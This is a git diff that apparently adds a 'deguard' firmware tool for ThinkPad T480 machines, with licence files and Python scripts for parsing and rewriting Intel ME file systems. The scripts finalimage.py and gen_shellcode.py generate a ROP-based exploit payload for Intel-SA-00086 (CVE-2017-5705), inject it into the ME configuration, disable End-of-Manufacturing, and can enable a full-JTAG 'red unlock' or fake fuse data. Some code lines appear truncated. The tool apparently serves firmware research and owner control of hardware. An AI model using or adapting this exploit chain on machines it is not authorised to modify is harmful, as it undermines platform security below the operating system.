DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/blobs/t480/deguard/doc/LICENSE.orig b/blobs/t480/deguard/doc/LICENSE.orig new file mode 100644 index 000000000..ac6be728b --- /dev/null +++ b/blobs/t480/deguard/doc/LICENSE.orig @@ -0,0 +1,17 @@ +License for MFSUtil (CFG.py, MFS.py, MFSUtil.py) + +Copyright 2019 Youness El Alaoui + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +License for original exploit generator (me_exp_bxtp_me11.py): + +Copyright (c) 2018 Mark Ermolov, Maxim Goryachy at Positive Technologies + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/blobs/t480/deguard/finalimage.py b/blobs/t480/deguard/finalimage.py new file mode 100755 index 000000000..c77f5f4f2 --- /dev/null +++ b/blobs/t480/deguard/finalimage.py @@ -0,0 +1,111 @@ +#!/usr/bin/python3 +# SPDX-License-Identifier: GPL-2.0-only + +import argparse +import os +from lib.exploit import GenerateShellCode +from lib.image import parse_ifd_or_me +from lib.mfs import INTEL_IDX, FITC_IDX, HOME_IDX, MFS +from lib.cfg import CFG + +def generate_fitc_from_intel_and_delta(intel_cfg, delta_dir): + # Create empty fitc.cfg + fitc_cfg = CFG() + + for intel_file in intel_cfg.files: + # Copy over directory + if intel_file.isDirectory(): + fitc_cfg.addFile(intel_file.path, intel_file.data, + intel_file.record.mode, intel_file.record.opt, + intel_file.record.uid, intel_file.record.gid) + continue + + # Skip non-overridable file + if (intel_file.record.opt & 1) == 0: + continue + + # Look for file in the delta + delta_path = os.path.join(delta_dir, intel_file.path.lstrip("/")) + if os.path.isfile(delta_path): + # Create modified overridable file from delta + with open(delta_path, "rb") as f: + fitc_cfg.addFile(intel_file.path, f.read(), + intel_file.record.mode, intel_file.record.opt, + intel_file.record.uid, intel_file.record.gid) + else: + # Copy over unmodified overridable file + fitc_cfg.addFile(intel_file.path, intel_file.data, + intel_file.record.mode, intel_file.record.opt, + intel_file.record.uid, intel_file.record.gid) + + return fitc_cfg + +def apply_exploit_to_fitc(fitc_cfg, version, pch, sku, fake_fpfs, red_unlock): + # Make sure End-Of-Manufacturing is off + fitc_cfg.removeFile("/home/mca/eom") + fitc_cfg.addFile("/home/mca/eom", b"\x00", CFG.strToMode(' --Irw-r-----'), CFG.strToOpt('?!-F'), 0, 238) + + # Generate TraceHub configuration file with exploit payload + ct_payload = GenerateShellCode(version, pch, sku, fake_fpfs, red_unlock) + # Add TraceHub configuration file + fitc_cfg.removeFile("/home/bup/ct") + fitc_cfg.addFile("/home/bup/ct", ct_payload, CFG.strToMode(' ---rwxr-----'), CFG.strToOpt('?--F'), 3, 351) + +def add_fitc_to_sysvol(sysvol, fitc_data): + # Delete original fitc.cfg + sysvol.removeFile(FITC_IDX) + # Delete home partition (we want all data to come from the new fitc.cfg) + sysvol.removeFile(HOME_IDX) + # Insert new fitc.cfg + # NOTE: optimize=False is required to break up continous chunks, + # which causes the vulnerable code to perform multiple reads. + sysvol.addFile(FITC_IDX, fitc_data, optimize=False) + +parser = argparse.ArgumentParser() +parser.add_argument("--input", required=True, help="Donor image (either full with IFD or just ME)") +parser.add_argument("--output", required=True, help="Output ME image") +parser.add_argument("--delta", required=True, help="MFS delta directory") +parser.add_argument('--version', required=True, help='Donor ME version') +parser.add_argument('--pch', required=True, help='PCH type') +parser.add_argument('--sku', metavar='', help='ME SKU', required=True) +parser.add_argument('--fake-fpfs', help='replace SRAM copy of FPFs with the provided data') +parser.add_argument('--red-unlock', help='allow full JTAG access to the entire platform', action='store_true') +args = parser.parse_args() + +# Get ME from input image +with open(args.input, "rb") as f: + me = parse_ifd_or_me(f.read()) + +# Make sure delta directory exists +if not os.path.isdir(args.delta): + raise ValueError(f"Delta directory {args.delta} not found") + +# Read FPF data +fake_fpfs = None +if args.fake_fpfs: + with open(args.fake_fpfs, "rb") as f: + fake_fpfs = f.read() + +# Parse MFS and get its system volume +mfs = MFS(me.entry_data("MFS")) +sysvol = mfs.getSystemVolume() + +# Read intel.cfg +intel_cfg = CFG(sysvol.getFile(INTEL_IDX).data) + +# Generate fitc.cfg +fitc_cfg = generate_fitc_from_intel_and_delta(intel_cfg, args.delta) +# Modify fitc.cfg with exploit +apply_exploit_to_fitc(fitc_cfg, args.version, args.pch, args.sku, fake_fpfs, args.red_unlock) +# Re-generate fitc.cfg +fitc_cfg.generate(alignment=2) + +# Write fitc.cfg +add_fitc_to_sysvol(sysvol, fitc_cfg.data) +# Re-generate MFS +mfs.generate() +# Write MFS to ME image +me.write_entry_data("MFS", mfs.data) +# Write out ME image +with open(args.output, "wb") as f: + f.write(me.data) diff --git a/blobs/t480/deguard/gen_shellcode.py b/blobs/t480/deguard/gen_shellcode.py new file mode 100755 index 000000000..1d8fbfbe8 --- /dev/null +++ b/blobs/t480/deguard/gen_shellcode.py @@ -0,0 +1,24 @@ +#!/usr/bin/python3 +# SPDX-License-Identifier: GPL-2.0-only + +import argparse +from lib.exploit import GenerateShellCode + +parser = argparse.ArgumentParser(description="Intel-SA-00086 (CVE-2017-5705) exploit generator for ME 11.x.x.x") +parser.add_argument('-o', '--output', metavar='', help='output file path', required=True) +parser.add_argument('-v', '--version', metavar='', help='ME version', required=True) +parser.add_argument('-p', '--pch', metavar='', help='PCH type', required=True) +parser.add_argument('-s', '--sku', metavar='', help='ME SKU', required=True) +parser.add_argument('--fake-fpfs', metavar='', help='replace SRAM copy of FPFs with the provided data') +parser.add_argument('--red-unlock', help='allow full JTAG access to the entire platform', action='store_true') +args = parser.parse_args() + +fake_fpfs = None +if args.fake_fpfs: + with open(args.fake_fpfs, "rb") as f: + fake_fpfs = f.read() + +data = GenerateShellCode(args.version, args.pch, args.sku, fake_fpfs, args.red_unlock) + +with open(args.output, "wb") as f: + f.write(data) diff --git a/blobs/t480/deguard/generatedelta.py b/blobs/t480/deguard/generatedelta.py new file mode 100755 index 000000000..9153d61ba --- /dev/null +++ b/blobs/t480/deguard/generatedelta.py @@ -0,0 +1,76 @@ +#!/usr/bin/python3 +# SPDX-License-Identifier: GPL-2.0-only + +import argparse +import os +from lib.image import parse_ifd_or_me +from lib.mfs import INTEL_IDX, FITC_IDX, HOME_IDX, MFS +from lib.cfg import CFG + +def delta_from_fitc_cfg(overridable, fitc_files, output): + if set(fitc_files.keys()).difference(overridable.keys()) != set(): + raise ValueError("fitc.cfg contains unexpected data, please report this for investigation") + # Iterate overridable paths from intel.cfg + for path, intel_file in overridable.items(): + # Skip dirs + if intel_file.isDirectory(): + continue + # Skip files not in fitc + if path not in fitc_files: + continue + fitc_file = fitc_files[path] + if intel_file.data != fitc_file.data: + # Write out differing file to delta + filepath = os.path.join(output, path.lstrip("/")) + os.makedirs(os.path.dirname(filepath), exist_ok=True) + with open(filepath, "wb") as f: + f.write(fitc_file.data) + +def delta_from_home(overridable, home_files, output): + # Iterate overridable paths from intel.cfg + for path, intel_file in overridable.items(): + # Skip dirs + if intel_file.isDirectory(): + continue + # Skip files not in /home + if path not in home_files: + continue + if intel_file.data != home_files[path]: + # Write out differing file to delta + filepath = os.path.join(output, path.lstrip("/")) + os.makedirs(os.path.dirname(filepath), exist_ok=True) + with open(filepath, "wb") as f: + f.write(home_files[path]) + +parser = argparse.ArgumentParser() +parser.add_argument("--input", required=True, help="Input vendor image (either full with IFD or just ME)") +parser.add_argument("--output", required=True, help="Output MFS delta directory") +args = parser.parse_args() + +# Get ME from input image +with open(args.input, "rb") as f: + me = parse_ifd_or_me(f.read()) + +# Parse MFS and get its system volume +mfs = MFS(me.entry_data("MFS")) +sysvol = mfs.getSystemVolume() + +# Lookup table of directories and overridable paths in intel.cfg +intel_cfg = CFG(sysvol.getFile(INTEL_IDX).data) +overridable = { file.path: file for file in intel_cfg.files \ + if file.isDirectory() or (file.record.opt & 1) != 0 } + +fitc = sysvol.getFile(FITC_IDX) + +if fitc: + # We have a fitc.cfg, so compute delta from that + fitc_cfg = CFG(fitc.data) + fitc_files = { file.path: file for file in fitc_cfg.files } + delta_from_fitc_cfg(overridable, fitc_files, args.output) +else: + # If there is no fitc we must have a /home + if not sysvol.getFile(HOME_IDX): + raise Error("MFS has no fitc.cfg or home directory, please provide an image with valid config data") + # Build lookup table from files in home in /home + home_files = { path: data for path, data in sysvol.listDir(HOME_IDX, True, "/home") } + delta_from_home(overridable, home_files, args.output) diff --git a/blobs/t480/deguard/lib/cfg.py b/blobs/t480/deguard/lib/cfg.py new file mode 100644 index 000000000..050782109 --- /dev/null +++ b/blobs/t480/deguard/lib/cfg.py @@ -0,0 +1,272 @@ +# SPDX-License-Identifier: GPL-2.0-only +# This code is based on MFSUtil by Youness Alaoui (see `doc/LICENSE.orig` for original copyright) + +import posixpath +import struct +from functools import cmp_to_key + +def cmp(a, b): + return (a > b) - (a < b) + +class CFGAlignment: + ALIGN_NONE = 0 + ALIGN_START = 1 + ALIGN_END = 2 + +class CFG(object): + CFG_FMT = struct.Struct(" 1 + file = self.getFile(posixpath.join(*path)) + assert file and file.isDirectory() + assert file.record.mode == record.mode + path.pop() + else: + file = CFGFile(posixpath.join(*path + [record.name]), record, self.data, parent) + self.files.append(file) + if record.isDirectory(): + path.append(record.name) + parent = self.getFile(posixpath.join(*path)) + self.records.append(record) + + def getFile(self, path): + for file in self.files: + if file.path == path: + return file + return None + + def removeFile(self, path, recursive = False): + file = self.getFile(path) + if file: + if len(file.children) > 0 and not recursive: + return False + # Copy list of children since we're modifying the list + for child in file.children[:]: + self.removeFile(child.path, recursive) + self.files.remove(file) + if file.parent: + file.parent.removeChild(file) + return True + else: + return False + + def addFile(self, path, data, mode, opt, uid, gid): + # Make sure it doesn't already exists + file = self.getFile(path) + if file: + raise ValueError(f"CFG path {path} already exists") + + directory = False + (parent_path, filename) = posixpath.split(path) + + if filename == "": + directory = True + (parent_path, filename) = posixpath.split(parent_path) + + # Make sure parent exists if it is not the root + parent = self.getFile(parent_path) + if parent_path != "/"and parent is None: + raise ValueError(f"CFG path {path} already exists") + + record = CFGRecord.createRecord(filename, mode, opt, uid, gid, len(data), 0) + file = CFGFile(path, record, data, parent) + self.files.append(file) + + def generate(self, alignment): + self.records = [] + file_data = b"" + if len(self.files) > 0: + (self.records, file_data) = self.files[0].generateRecords(alignment=alignment) + self.num_records = len(self.records) + self.data = self.CFG_FMT.pack(self.num_records) + data_offset = len(self.data) + CFGRecord.RECORD_FMT.size * self.num_records + alignment_data = b"" + if alignment != CFGAlignment.ALIGN_NONE: + alignment_extra = data_offset % 0x40 + if alignment_extra > 0: + alignment_data += struct.pack("> i): + ret += modeStr[i] + else: + ret += "-" + return ret + + @staticmethod + def strToMode(str): + modeStr = "dAEIrwxrwxrwx" + assert len(str) == len(modeStr) + mode = 0 + for i in range(13): + if str[i] == modeStr[i]: + mode |= (0x1000 >> i) + else: + assert str[i] == '-' or str[i] == ' ' + return mode + + @staticmethod + def optToStr(opt): + assert opt & 0xFFF0 == 0 + optStr = "?!MF" + ret = "" + for i in range(4): + if opt & (8 >> i): + ret += optStr[i] + else: + ret += "-" + return ret + + @staticmethod + def strToOpt(str): + optStr = "?!MF" + assert len(str) == len(optStr) + opt = 0 + for i in range(4): + if str[i] == optStr[i]: + opt |= (8 >> i) + else: + assert str[i] == '-' or str[i] == ' ' + return opt + +class CFGRecord(object): + RECORD_FMT = struct.Struct("<12sHHHHHHL") + + def __init__(self, data, index): + offset = CFG.CFG_FMT.size + self.RECORD_FMT.size * index + self.data = data[offset:offset + self.RECORD_FMT.size] + (self.name, zero, self.mode, self.opt, self.size, + self.uid, self.gid, self.offset) = self.RECORD_FMT.unpack(self.data) + self.name = self.name.decode('utf-8') + self.name = self.name.strip('\0') + if self.name == "..": + assert self.isDirectory() + assert self.opt == 0 + if self.isDirectory(): + assert self.size == 0 + + def isDirectory(self): + return self.mode & 0x1000 == 0x1000 + + def generate(self): + self.data = CFGRecord.RECORD_FMT.pack(self.name.encode("utf-8"), 0, self.mode, self.opt, + self.size, self.uid, self.gid, self.offset) + + @staticmethod + def createRecord(name, mode, opt, uid, gid, size, offset): + data = b'\0' * CFG.CFG_FMT.size + \ + CFGRecord.RECORD_FMT.pack(name.encode("utf-8"), 0, mode, opt, size, uid, gid, offset) + return CFGRecord(data, 0) + + def copy(self): + return self.createRecord(self.name, self.mode, self.opt, self.uid, self.gid, self.size, self.offset) + + def __str__(self): + return "%-12s (%04X:%04X) [%4d bytes @ %8X] %s _ %s" % (self.name, self.uid, self.gid, + self.size, self.offset, CFG.modeToStr(self.mode), CFG.optToStr(self.opt)) + +class CFGFile(object): + def __init__(self, path, record, data, parent=None): + self.path = path + self.record = record + self.data = data[record.offset:record.offset + record.size] + self.parent = parent + self.children = [] + if parent: + parent.addChild(self) + + @property + def size(self): + return self.record.size + + def isDirectory(self): + return self.record.isDirectory() + + def addChild(self, child): + assert self.isDirectory() + self.children.append(child) + self.children.sort(key=cmp_to_key(CFGFile.__cmp__)) + + def removeChild(self, child): + assert self.isDirectory() and child in self.children + self.children.remove(child) + + def generateRecords(self, data = b"", alignment=CFGAlignment.ALIGN_NONE): + self.record.size = 0 if self.isDirectory() else self.size + self.record.offset = 0 if self.isDirectory() else len(data) + records = [self.record] + if self.isDirectory(): + for child in self.children: + (sub_records, new_data) = child.generateRecords(data, alignment) + records += sub_records + data = new_data + + dotdot = self.record.copy() + dotdot.name = '..' + dotdot.opt = 0 + records.append(dotdot) + else: + alignment_extra = 0 + if alignment == CFGAlignment.ALIGN_START: + alignment_extra = self.record.offset % 0x40 + elif self.record.size != 0 and alignment == CFGAlignment.ALIGN_END: + alignment_extra = (self.record.offset + self.record.size) % 0x40 + if alignment_extra > 0: + data += struct.pack(" pointing to valid descriptors below +# shared mem descriptors with address of memcpy_s ret address +# up to 0x380 with syslib context pointing up +# chunk with pointers to ROP address + +def GenerateShellCode(version, pch, sku, fake_fpfs, red_unlock): + me_info = None + for info in ME_INFOS: + if info.ME_VERSION == version and info.PCH_TYPE == pch and info.ME_SKU == sku: + me_info = info + break + + if me_info is None: + raise ValueError("Cannot find required information for ME version, PCH type, and ME SKU.") + + # Add ROPs + data, rops_start = GenerateRops(me_info, fake_fpfs, red_unlock) + if data is None: + return None + + # Create syslib context and add it to the data + syslib_ctx_addr = me_info.BUFFER_ADDRESS + len(data) + (syslib_ctx, syslib_ctx_addr) = GenerateSyslibCtx(me_info, syslib_ctx_addr) + data += syslib_ctx + + # Create TLS structure + tls = struct.pack(" me_info.BUFFER_OFFSET: + raise ValueError("Too much data in the ROPs, cannot fit payload within 0x%X bytes" % me_info.BUFFER_OFFSET) + + # Add padding and add TLS at the end of the buffer + data += struct.pack("len(data): + return None + return struct.unpack("len(data): + return None + return struct.unpack("> bf[0] & bf[1] + +class IFDRegion(Enum): + IFD = 0 + BIOS = 1 + ME = 2 + GBE = 3 + PD = 4 + EC = 8 + +class IFDImage: + MAGIC_OFF = 0x10 + MAGIC = 0x0FF0A55A + + FLMAP0_OFF = 0x14 + FLMAP0_FRBA = (16, 0xff) + + FLREGN_BASE = (0, 0x7fff) + FLREGN_LIMIT = (16, 0x7fff) + + def __init__(self, data): + self.data = bytearray(data) + + # Verify magic + if dword_le(self.data, self.MAGIC_OFF) != self.MAGIC: + raise ValueError("Invalid IFD magic") + + # Find base address of regions + flmap0 = dword_le(self.data, self.FLMAP0_OFF) + frba = ex(flmap0, self.FLMAP0_FRBA) << 4 + + # Parse regions + self.regions = {} + for region in IFDRegion: + flregN = dword_le(self.data, frba + 4 * region.value) + base = ex(flregN, self.FLREGN_BASE) + limit = ex(flregN, self.FLREGN_LIMIT) + if base == 0x7fff and limit == 0x0000: # Unused region + continue + self.regions[region] = (base << 12, limit << 12 | 0xfff) + + def __str__(self): + return "\n".join(f" {region.name:<4} {extent[0]:08x}-{extent[1]:08x}" \ + for region, extent in self.regions.items()) + + def region_data(self, region): + if region not in self.regions: + raise ValueError(f"IFD region {region} not present") + base, limit = self.regions[region] + return self.data[base:limit] + +class MeImage: + HEADER_OFF = 0x10 + + MARKER_OFF = 0x10 + MARKER = b"$FPT" + + NUMENT_OFF = 0x14 + HDRLEN_OFF = 0x20 + HDRSUM_OFF = 0x21 + + ENTRY_OFF = 0x30 + ENTRY_SIZE = 0x20 + + def __init__(self, data): + self.data = bytearray(data) + + # Verify magic and checksum + if self.data[self.MARKER_OFF:self.MARKER_OFF+4] != self.MARKER: + raise ValueError("Invalid $FPT magic") + if sum(self.data[self.HEADER_OFF:self.data[self.HDRLEN_OFF]]) != 0: + raise ValueError("Invalid $FPT checksum") + + # Parse entries + self.entries = {} + for idx in range(self.data[self.NUMENT_OFF]): + off = self.ENTRY_OFF + idx * self.ENTRY_SIZE + name, _, offset, length, _, _, _, flags = struct.unpack("<4sIIIIIII", \ + self.data[off:off+self.ENTRY_SIZE]) + self.entries[name.strip(b"\0").decode()] = (offset, length, flags) + + def __str__(self): + return "\n".join(f" {name:<4} {entry[0]:08x}-{entry[1]:08x} {entry[2]:08x}" \ + for name, entry in self.entries.items()) + + def entry_data(self, name): + if name not in self.entries: # No entry + raise ValueError(f"Unknown $FPT entry {name}") + offset, length, flags = self.entries[name] + if flags & 0xff00_0000 != 0: # Invalid entry + raise ValueError(f"Invalid $FPT entry {name}") + return self.data[offset:offset+length] + + def write_entry_data(self, name, data): + if name not in self.entries: # No entry + raise ValueError(f"Unknown $FPT entry {name}") + offset, length, flags = self.entries[name] + if flags & 0xff00_0000 != 0: # Invalid entry + raise ValueError(f"Invalid $FPT entry {name}") + if len(data) != length: + raise ValueError(f"Wrong data length") + self.data[offset:offset+length] = data + +def parse_ifd_or_me(data): + try: + # Try parse as full image + ifd_image = IFDImage(data) + return MeImage(ifd_image.region_data(IFDRegion.ME)) + except: + # Assume it is just an ME + return MeImage(data) diff --git a/blobs/t480/deguard/lib/mfs.py b/blobs/t480/deguard/lib/mfs.py new file mode 100644 index 000000000..9dee71bca --- /dev/null +++ b/blobs/t480/deguard/lib/mfs.py @@ -0,0 +1,508 @@ +# SPDX-License-Identifier: GPL-2.0-only +# This code is based on MFSUtil by Youness Alaoui (see `doc/LICENSE.orig` for original copyright) + +import struct +from functools import cmp_to_key + +INTEL_IDX = 6 # Default configuration +FITC_IDX = 7 # Vendor configuration +HOME_IDX = 8 # Runtime ME data + +def cmp(a, b): + return (a > b) - (a < b) + +class MFS(object): + PAGE_SIZE = 0x2000 # Page size is 8K + CHUNK_SIZE = 0x40 # Chunk size is 64 bytes + 